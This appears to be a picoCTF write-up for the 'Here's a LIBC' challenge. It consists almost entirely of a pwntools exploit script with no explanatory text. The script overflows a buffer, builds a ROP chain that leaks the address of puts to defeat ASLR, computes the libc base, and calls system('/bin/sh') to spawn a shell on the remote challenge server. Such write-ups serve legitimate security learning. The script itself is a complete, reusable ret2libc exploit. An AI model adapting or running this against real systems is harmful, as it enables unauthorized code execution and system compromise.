Here's a LIBC

#ret2libc#buffer-overflow#rop

Contents

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored

exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
rop = ROP(exe)

context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *main
c
"""

def find_offset():
    r = process([exe.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


# main script
def conn():
    if args.REMOTE:
        r = remote("mercury.picoctf.net", 42072)
    else:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r

def main():
    r = conn()
    offset = b'i' * cyclic_find(0x6261616a)
    puts_plt = exe.plt["puts"]
    puts_got = exe.got["puts"]
    pop_ret = (rop.find_gadget(["pop rdi","ret"]))[0]
    main_addr = exe.symbols["main"]
    ret = (rop.find_gadget(["ret"]))[0]
    payload = offset + p64(pop_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    r.clean()
    r.sendline(payload)
    r.recvuntil(b'id\n')
    leak = u64(r.recv(6).ljust(8,b'\x00'))
    libc.address = leak - libc.symbols["puts"]
    print(hex(libc.address))
    binsh = next(libc.search(b'/bin/sh\0'))
    payload = offset + p64(ret) + p64(pop_ret) + p64(binsh) + p64(libc.symbols["system"])
    r.clean()
    r.sendline(payload)
    r.interactive()


if __name__ == "__main__":
    main()